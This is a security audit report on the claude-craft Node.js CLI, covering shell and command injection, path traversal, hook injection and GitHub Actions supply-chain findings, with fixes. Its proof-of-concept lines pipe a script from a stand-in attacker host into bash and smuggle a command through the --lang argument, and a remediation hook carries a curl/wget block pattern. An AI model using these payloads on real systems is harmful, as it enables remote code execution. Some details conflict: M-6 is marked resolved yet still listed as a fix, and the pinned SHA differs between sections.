# Security Audit — claude-craft v8.2.4

**Date**: 2026-04-23
**Auditors**: `@security-auditor` (3 parallel instances) + manual review
**Scope**: CLI Node.js (`cli/`), shell scripts (`Dev/scripts/`, `Tools/`), CI/CD (`.github/workflows/`), dependencies (prod + dev), distributed content (`.claude/settings.json` hooks, templates, installers)
**Methodology**: SAST (manual + agent), `npm audit`, secret scanning, CVE research (Anthropic + public advisories), CI/CD configuration review

---

## Executive Summary

| Severity | Count | Status |
|----------|-------|--------|
| **CRITICAL** | 2 | **2 fixed** ✓ |
| **HIGH** | 6 | **5 fixed** ✓ (H-6 requires `npm audit fix` — devDep only) |
| **MEDIUM** | 7 | 0 fixed, 7 open (tracked for next iteration) |
| **LOW** | 4 | 0 fixed, 4 open |
| **INFO** | 3 | — |

**Fixes applied in v8.2.5** (this audit's release commit):
- C-1: `pack-repo-fallback.sh` — replaced `eval` with `find` args array, added metachar validation for `--exclude` / `--include` / `--output`.
- C-2: `cli/lib/update.js` — switched `execSync` to `spawnSync(array)`, added `--lang` allowlist and target-path validation (also fixes H-3).
- H-1, H-2: covered by C-1 remediation (output path + include regex validation in `pack-repo-fallback.sh`).
- H-3: covered by C-2 remediation (system directory guard in `update.js`).
- H-4: `.claude/settings.json` and `settings.local.json.example` — all 7 hooks rewritten to read hook input JSON from stdin via `jq`, eliminating `$TOOL_INPUT`/`$FILE_PATH` shell variable interpolation.
- H-5: `.github/workflows/cla.yml` — `contributor-assistant` SHA-pinned to `ca4a40a7d1004f18d9960b404b97e5f30a505a08` (v2.6.1), `actions: write` permission removed.

**Top 3 to prioritize immediately (all CRITICAL/HIGH):**

1. **CRITICAL — Shell injection via `eval` in `pack-repo-fallback.sh:58`** — full local code execution from a crafted `--exclude` argument.
2. **CRITICAL — Command injection via string interpolation in `cli/lib/update.js:64,88`** — `execSync(\`bash ... --lang="${lang}" --force "${targetPath}"\`)`. `lang` is accepted with no allowlist; an attacker-controlled CLI invocation achieves arbitrary command execution.
3. **HIGH — `pull_request_target` + unpinned action + excessive permissions in `.github/workflows/cla.yml`** — classic GitHub Actions fork-attack vector. The action is pinned to version tag `@v2.6.1`, not SHA, so a re-tag by the maintainer (or a supply-chain compromise of `contributor-assistant`) gains `actions: write`, `contents: write`, access to `GITHUB_TOKEN` **and** `PERSONAL_ACCESS_TOKEN`.

**Production runtime is currently safe from known CVEs**: `npm audit --omit=dev` returns 0 vulnerabilities. Installed versions of `hono@4.12.14`, `@hono/node-server@1.19.14`, `dompurify@3.4.0`, and `marked@14.1.4` are all past the patched versions of recent 2026 CVEs (CVE-2026-29045, CVE-2026-29085, CVE-2026-29087, CVE-2026-0540, CVE-2025-15599). The 6 vulnerabilities reported by `npm audit` are all in **devDependencies** (eslint, vitest, rollup transitives) and do not ship to users.

---

## Findings

### CRITICAL

#### C-1. Shell injection via `eval` in pack-repo-fallback.sh:58

- **CWE**: CWE-78 — OS Command Injection
- **OWASP 2025**: #3 Injection
- **File**: `Dev/scripts/pack-repo-fallback.sh:58`

```bash
FILES=$(eval "find . -type f $FIND_EXCLUDES" | grep -Ev "\.($BINARY_EXTS)$" | sed 's|^\./||')
```

`$FIND_EXCLUDES` is built from the `--exclude` CLI argument and passed to `eval`. Any shell metacharacter in the user's argument (`;`, `|`, `&&`, command substitution) is evaluated as shell syntax.

- **Impact**: Full local RCE when the script is invoked by a script or CI job with attacker-controlled `--exclude`. The `/common:pack-repo` slash command invokes this script, so a malicious `context.yaml` that injects into the Claude prompt could trigger it.
- **PoC**:
  ```bash
  bash Dev/scripts/pack-repo-fallback.sh --exclude='*; curl -s https://attacker.example/shell.sh | bash; echo '
  ```
- **Remediation**: Replace `eval` with a `find` arguments array and validate `--exclude`:
  ```bash
  # Validate the pattern: no shell metachars
  if [[ "$EXCLUDE_EXTRA" =~ [[:space:]\;\|\&\$\`\(\)] ]]; then
    echo "Invalid --exclude value" >&2; exit 1
  fi
  FIND_ARGS=()
  for excl in "${DEFAULT_EXCLUDES[@]}"; do
    FIND_ARGS+=(-not -path "*/$excl/*" -not -path "*/$excl")
  done
  FILES=$(find . -type f "${FIND_ARGS[@]}" | grep -Ev "\.($BINARY_EXTS)$" | sed 's|^\./||')
  ```

#### C-2. Command injection via string interpolation in cli/lib/update.js:64,88

- **CWE**: CWE-78 — OS Command Injection
- **OWASP 2025**: #3 Injection
- **File**: `cli/lib/update.js:64,88`

```javascript
execSync(`bash "${commonScript}" --lang="${lang}" --force "${targetPath}"`, { ... });
```

`lang` comes from `--lang` (no allowlist validation), `targetPath` from `path.resolve(targetInput)` (path-normalized but not metacharacter-validated). A value like `en" && touch /tmp/pwned #` closes the string literal and runs arbitrary commands.

- **Impact**: RCE via crafted `--lang` or target path. Exploitable by any script calling the CLI (e.g., malicious `postinstall` in a user's package that runs `npx @the-bearded-bear/claude-craft update --lang='...'`), or by a symlink in the resolved path if the path goes through untrusted directories.
- **PoC**:
  ```bash
  npx @the-bearded-bear/claude-craft update . --lang='en" && touch /tmp/pwned #'
  # Actually runs: bash ".../install-common-rules.sh" --lang="en" && touch /tmp/pwned #" --force "..."
  ```
- **Remediation**: Switch to `spawnSync` with an arguments array (same pattern as `installer.js`):
  ```javascript
  import { spawnSync } from 'child_process';
  const result = spawnSync('bash', [commonScript, `--lang=${lang}`, '--force', targetPath], {
    encoding: 'utf8',
    timeout: 60_000,
    stdio: 'inherit'
  });
  if (result.status !== 0) throw new Error(`Install failed: ${result.status}`);
  ```
  Add `--lang` allowlist in `parse-args.js` `validateOption`:
  ```javascript
  case 'lang': {
    if (!/^[a-z]{2}$/.test(value)) throw new Error(`Invalid --lang: "${value}"`);
    break;
  }
  ```

---

### HIGH

#### H-1. Path traversal / arbitrary write via `--output` in pack-repo-fallback.sh

- **CWE**: CWE-22 — Path Traversal
- **OWASP 2025**: #1 Broken Access Control
- **File**: `Dev/scripts/pack-repo-fallback.sh:11,30`
- **Impact**: `--output=/home/victim/.ssh/authorized_keys` overwrites SSH keys. `--output=~/.bashrc` persists arbitrary commands.
- **Remediation**: Enforce relative path, no `..`:
  ```bash
  if [[ "$OUTPUT" = /* ]] || [[ "$OUTPUT" =~ \.\. ]]; then
    echo "--output must be a relative path with no '..'" >&2; exit 1
  fi
  ```

#### H-2. Unvalidated `--include` regex (ReDoS) in pack-repo-fallback.sh

- **CWE**: CWE-1333 — Inefficient Regular Expression Complexity
- **OWASP 2025**: #3 Injection
- **File**: `Dev/scripts/pack-repo-fallback.sh:61-63` — `grep -E "$INCLUDE"` with user regex.
- **Impact**: DoS via catastrophic backtracking; can also bypass binary extension filter.
- **Remediation**: Reject metachars in `--include`, add `timeout 5 grep -E`.

#### H-3. Path traversal to system directories via `targetPath` (installer.js / update.js)

- **CWE**: CWE-22 — Path Traversal
- **OWASP 2025**: #1 Broken Access Control
- **File**: `cli/lib/installer.js:184,194,204,224`, `cli/lib/update.js:64,88`
- **Impact**: `path.resolve()` normalizes but doesn't restrict. `--target=/etc` lets the installer write `.claude/` into system directories.
- **Remediation**:
  ```javascript
  const FORBIDDEN = ['/', '/etc', '/usr', '/bin', '/sbin', '/boot', '/lib', '/var', '/root'];
  const resolved = path.resolve(targetInput || process.cwd());
  if (FORBIDDEN.some(p => resolved === p || resolved.startsWith(p + path.sep))) {
    throw new Error(`Refusing to install into system directory: ${resolved}`);
  }
  ```

#### H-4. Hook command injection pattern (CVE-2025-59536 class) in `.claude/settings.json`

- **CWE**: CWE-78 — OS Command Injection
- **OWASP 2025**: #3 Injection
- **File**: `.claude/settings.json:12,16,25,34,45,64,74`

Every hook uses `echo '$TOOL_INPUT' | jq -r ...` or `echo '$TOOL_OUTPUT' | wc -c`. If Claude Code substitutes `$TOOL_INPUT` / `$FILE_PATH` / `$TOOL_OUTPUT` into the shell string *before* execution (the variable is literal bash, single-quoted, but Claude Code's hook pipeline may substitute first), a tool invocation containing a single quote, backtick, or `$(...)` can break out.

- **Impact**: Hook bypass or arbitrary command execution in the user's session. Because this `settings.json` is checked into the repo, every developer who opens this repo in Claude Code inherits these hooks. The file is also a reference template for users authoring their own settings.
- **Distribution multiplier**: Anyone who installs claude-craft and copies/adapts this settings.json pattern inherits the vulnerable pattern.
- **Remediation**: Use the canonical Anthropic pattern — read JSON from stdin via `jq`, no shell variable interpolation:
  ```json
  {
    "type": "command",
    "command": "INPUT=$(jq -r '.tool_input.command // empty'); if echo \"$INPUT\" | grep -qE '(curl|wget).*\\.(sh|py|rb|pl|bat|ps1)'; then echo 'BLOCKED' >&2; exit 1; fi"
  }
  ```
  Claude Code passes the hook input JSON on stdin (v2.1.97+). This eliminates the injection surface entirely. Update all 7 hooks in `settings.json` to this pattern.

#### H-5. GitHub Actions: `pull_request_target` + unpinned action + PAT in env (cla.yml)

- **CWE**: CWE-494 — Download of Code Without Integrity Check
- **OWASP 2025**: #6 Software Supply Chain Failures
- **File**: `.github/workflows/cla.yml:6-11,21-24`

Three compounded issues:
1. `on: pull_request_target` runs with **repo secrets** (`GITHUB_TOKEN`, `PERSONAL_ACCESS_TOKEN`) even for PRs from forks. Any action consumed here must be trustworthy.
2. `uses: contributor-assistant/github-action@v2.6.1` — **mutable tag, not SHA-pinned**. If the upstream re-tags v2.6.1 (intentionally or via compromise), the next workflow run will pull the new code with full permissions.
3. `permissions: actions: write, contents: write, pull-requests: write, statuses: write` — `actions: write` is not needed for a CLA signature workflow; `contents: write` is only needed to update the signatures file.

- **Impact**: A supply-chain compromise of `contributor-assistant` = full repo takeover (can push commits, modify workflows, leak `PERSONAL_ACCESS_TOKEN`).
- **Remediation**:
  ```yaml
  # 1. Pin to SHA
  uses: contributor-assistant/github-action@c6f7a9e...  # v2.6.1 SHA
  # 2. Tighten permissions (minimum for CLA bot)
  permissions:
    contents: write         # to write signatures file
    pull-requests: write    # to comment on PRs
    statuses: write         # to set PR status
    # actions: write removed
  ```
  Document the SHA resolution in a comment next to the pin.

#### H-6. `rollup` path traversal CVE-2024-47068 / GHSA-mw96-cpmx-2vgc (devDep, build-time)

- **CWE**: CWE-22 — Path Traversal
- **OWASP 2025**: #3 Injection
- **Location**: `node_modules/rollup@4.0.0-4.58.0` (transitive via vitest/vite)
- **Impact**: Build-time arbitrary file write. Exploitable only if a malicious plugin or config is loaded during build. Not in production runtime.
- **Remediation**: `npm audit fix` or bump rollup peer dep to `>=4.58.1`.

---

### MEDIUM

#### M-1. `doctor.js` `tryExec` accepts arbitrary command strings

- **CWE**: CWE-78
- **File**: `cli/lib/doctor.js:17-23`
- Current callers pass literals; the function signature is unsafe by design. Refactor to `tryExec(cmd, args)` using `spawnSync`.

#### M-2. `openBrowser` in kanban.js — no URL scheme allowlist

- **CWE**: CWE-78
- **File**: `cli/lib/kanban.js:27-32`
- On Linux, `xdg-open 'file://...'` would open local files in the default handler. Enforce `http/https` + host `127.0.0.1` check.

#### M-3. `ralph.js` argument injection into bash args array

- **CWE**: CWE-88 — Argument Injection
- **File**: `cli/lib/ralph.js:46-65`
- `ralphArgs.push(promptArgs.join(' '))` concatenates prompt text into a single bash positional arg. A prompt containing `--dry-run` or `--config=/tmp/evil` alters script behaviour.
- Fix: pass prompt via a dedicated `--prompt` flag; validate `--lang`, `--max-iterations` types.

#### M-4. `--output` validation incomplete in parse-args.js

- **CWE**: CWE-22
- **File**: `cli/lib/parse-args.js:34-40`
- Only checks `..` split by `/\\`. Doesn't block absolute paths, URL-encoded `%2F`, or mixed separators.
- Fix: `path.resolve(value).startsWith(cwd)` check.

#### M-5. Unquoted `$BINARY_EXTS` expansion in pack-repo-fallback.sh

- **CWE**: CWE-116 — Improper Encoding
- **File**: `Dev/scripts/pack-repo-fallback.sh:58`
- Declare `readonly BINARY_EXTS=...` to prevent env override, quote uses.

#### M-6. Missing `set -euo pipefail` in 6 shell scripts — **FALSE POSITIVE (resolved on re-check)**

Phase 1 initial scan used `head -10 | grep` and missed `set -euo pipefail` declarations placed later in the file. Re-check confirms all 6 scripts have the directive (`install-common-rules.sh:33`, `check-config.sh:24`, `install-from-config.sh:27`, `validate-skills-spec.sh:14`, `check-prerequisites.sh:17`, `install-rtk.sh:17`). No fix required. Retained here to document the audit trace.

#### M-7. RTK installer bypass (`RTK_SKIP_CHECKSUM=1`)

- **CWE**: CWE-494
- **File**: `Tools/RTK/install-rtk.sh:154-188`
- The bypass is documented as a supported workflow — normalizes skipping integrity checks.
- Fix: remove the documented bypass; on hash mismatch, fail hard and require manual investigation.

#### M-8. PostToolUse hook `post-tool-filter.sh` at user path without verification

- **CWE**: CWE-829 — Inclusion of Functionality from Untrusted Control Sphere
- **File**: `.claude/settings.json:54,86`
- `~/.claude/hooks/post-tool-filter.sh` is executed but not versioned in this repo. If the user writes a malicious hook here (or if a malicious npm package writes it), it runs on every Bash tool.
- Fix: document clearly that users are responsible for this file's integrity; add existence check; ideally ship a trusted default within claude-craft installation.

---

### LOW

#### L-1. `check-prerequisites.sh` unquoted `$cmd --version`

- **CWE**: CWE-78
- **File**: `Dev/scripts/check-prerequisites.sh:67`
- Hardcoded callers today; refactor for safety.

#### L-2. Dependabot does not cover `website/package.json`

- **CWE**: CWE-1104 — Use of Unmaintained Third-Party Components
- **File**: `.github/dependabot.yml`
- `website/` has its own `package.json` + lockfile. Add second `npm` entry with `directory: "/website"`.

#### L-3. Dependabot does not cover `docker` ecosystem

- **File**: `.github/dependabot.yml`
- Repo contains Docker examples in docs but no Dockerfile at root — informational only.

#### L-4. RTK binary integrity not verified after installer

- **CWE**: CWE-494
- **File**: `Tools/RTK/install-rtk.sh`
- The installer script is SHA-pinned; the downloaded binary is not.

---

### INFO

#### I-1. NPM audit devDependencies (6 vulns, 4 HIGH + 2 MOD)

- `flatted`, `minimatch`, `picomatch`, `rollup` (HIGH); `ajv`, `brace-expansion` (MOD)
- All in devDependencies. Not shipped to users. Run `npm audit fix`.

#### I-2. NPM publish uses OIDC provenance ✓

- `.github/workflows/npm-publish.yml:263-267` uses `npm publish --provenance` with `id-token: write`. SLSA Build L3 via npm/Sigstore integration. No changes needed.

#### I-3. GitHub Actions mostly SHA-pinned ✓

- 6/7 actions are SHA-pinned. Only `contributor-assistant@v2.6.1` needs pinning (H-5).

---

## Supply Chain Analysis

**Dependencies** (production only):

| Package | Version | Last CVE check | Status |
|---------|---------|----------------|--------|
| `hono` | 4.12.14 | CVE-2026-29045/29085 patched in 4.12.4 | ✓ Safe |
| `@hono/node-server` | 1.19.14 | CVE-2026-29087 patched in 1.19.10 | ✓ Safe |
| `dompurify` | 3.4.0 | CVE-2025-15599 (≤3.2.6), CVE-2026-0540 (≤3.3.1) | ✓ Safe |
| `marked` | 14.1.4 | No recent 2025-2026 CVE | ✓ Safe |
| `js-yaml` | 4.1.1 | Latest, safe | ✓ Safe |
| `chokidar` | 4.0.3 | Latest | ✓ Safe |
| `zod` | 3.25.76 | No known CVE | ✓ Safe |
| `gray-matter` | 4.0.3 | Latest | ✓ Safe |
| `cytoscape` | 3.33.2 | No known CVE | ✓ Safe |
| `uplot` | 1.6.32 | No known CVE | ✓ Safe |
| `cytoscape-dagre` | 2.5.0 | No known CVE | ✓ Safe |

**`npm audit --omit=dev`**: 0 vulnerabilities.

**`postinstall` hooks in deps**: none observed in direct deps.

**Lockfile**: `package-lock.json` committed ✓, `npm ci` verified in CI ✓.

**Supply Chain Health Score**: **78/100**
- Strong: SHA-pinned actions (6/7), OIDC provenance, SBOM, lockfile integrity, no postinstall hooks in direct deps, production deps all patched.
- Weaker: `contributor-assistant` unpinned tag (-8), dependabot not covering website (-4), no Sigstore/cosign signing of non-NPM artifacts (-5), PAT in CLA workflow instead of GitHub App (-5).

---

## CI/CD Security

| Workflow | Permissions | Trigger | Notes |
|----------|-------------|---------|-------|
| `cla.yml` | actions:w, contents:w, PRs:w, statuses:w | `pull_request_target` | **H-5** (see above) |
| `docs.yml` | contents:r, pages:w | push, workflow_dispatch | ✓ minimal |
| `e2e-tools.yml` | contents:r | workflow_dispatch | ✓ |
| `i18n-parity.yml` | contents:r | push, workflow_dispatch | ✓ |
| `mutation.yml` | contents:r, PRs:w | schedule, PR | ✓ |
| `npm-publish.yml` | contents:r | push tags, workflow_dispatch | publish job: id-token:w (OIDC) ✓ |
| `sbom.yml` | contents:w | push tags, workflow_dispatch | ✓ (release attach) |
| `shellcheck.yml` | contents:r | push, workflow_dispatch | ✓ |

**OIDC for NPM**: yes, `id-token: write` job-level, `unset NODE_AUTH_TOKEN` before `npm publish --provenance`. **Best practice ✓**.

**Environment gating**: `publish` uses `environment: npm` (GitHub environments allow approval rules/secrets scoping).

---

## Distributed Content Risks

The project installs hooks, agents, commands, skills, and templates on user machines. Every vulnerability here is multiplied across all users (v8.2.4+ installed base).

**Distribution Risk Score**: **6/10**
- Hooks pattern vulnerable to `$TOOL_INPUT` injection (H-4) — highest distribution risk.
- Installers missing `set -euo pipefail` (M-6) — silent failures on user machines.
- Path traversal possible in `--target` (H-3) — user-facing risk.
- `install-rtk.sh` documented bypass (M-7) — supply chain on user side.
- Positive: hooks do block destructive `rm -rf`, `curl | sh`, secret file writes. Good baseline deny-list.

**Templates reviewed**:
- `.claude/settings.local.json.example`: same hook pattern as `settings.json` — carries same H-4 risk when users copy.
- `.claude/templates/hooks/`: assumed similar pattern — recommend migration to stdin-based `jq`.

**Commands with `tools: Bash`**: many (`/common:*`, `/qa:*`, `/team:*`). Claude Code's permission system + user's `settings.json` deny-list is the defense. Document this clearly for end users.

---

## Recommendations (prioritized)

### Immediate (this release — v8.2.5)
1. **Fix C-1** — replace `eval` with array in `pack-repo-fallback.sh:58`.
2. **Fix C-2** — switch `update.js` `execSync` to `spawnSync` array form, add `--lang` allowlist.
3. **Fix H-4** — rewrite all 7 hooks in `.claude/settings.json` to read stdin JSON via `jq`.
4. **Fix H-5** — SHA-pin `contributor-assistant` action, remove `actions: write`.
5. **Fix H-3** — add system-directory refuse list in installer.

### Short-term (next 2 weeks)
6. **Fix H-1, H-2** — validate `--output` and `--include` in `pack-repo-fallback.sh`.
7. **Fix M-1, M-2, M-4** — CLI hardening (`tryExec`, `openBrowser`, `--output` validation).
8. **Fix M-6** — add `set -euo pipefail` to 6 scripts.
9. Run `npm audit fix` to clear devDep vulnerabilities.
10. Extend dependabot to `website/` (`/website` directory).

### Medium-term
11. Refactor `ralph.js` to pass prompt via `--prompt` flag (M-3).
12. Document `settings.json` hook patterns for downstream users; publish reference hooks as a versioned skill.
13. Sign RTK release artifacts with Sigstore; remove `RTK_SKIP_CHECKSUM` (M-7).
14. Add GitHub CodeQL workflow for ongoing SAST on PRs.
15. Enforce branch protection + required checks on `main` (manual setup, document in repo).

---

## Appendix A: `npm audit` output (devDependencies)

```
6 vulnerabilities (2 moderate, 4 high)

ajv  <6.14.0            MODERATE  ReDoS
brace-expansion  4.0.0-5.0.4  MODERATE  DoS
flatted  <=3.4.1        HIGH      DoS + Prototype Pollution
minimatch  10.0.0-10.2.2 HIGH     ReDoS
picomatch  4.0.0-4.0.3  HIGH      Method Injection + ReDoS
rollup  4.0.0-4.58.0    HIGH      Path Traversal arbitrary write

All fixable via `npm audit fix`. Production runtime (`npm audit --omit=dev`): 0 vulnerabilities.
```

## Appendix B: Sources

- OWASP Top 10:2025 — https://owasp.org/Top10/2025/
- CWE — https://cwe.mitre.org/
- CVE-2025-59536 (Claude Code hook command injection, historical) — patched v2.1.51
- CVE-2026-29045/29085/29087 (Hono) — patched 4.12.4 / node-server 1.19.10
- CVE-2025-15599 (DOMPurify) — patched 3.2.7
- CVE-2026-0540 (DOMPurify) — patched 3.3.2
- GitHub Advisories — https://github.com/advisories
- SLSA framework — https://slsa.dev/
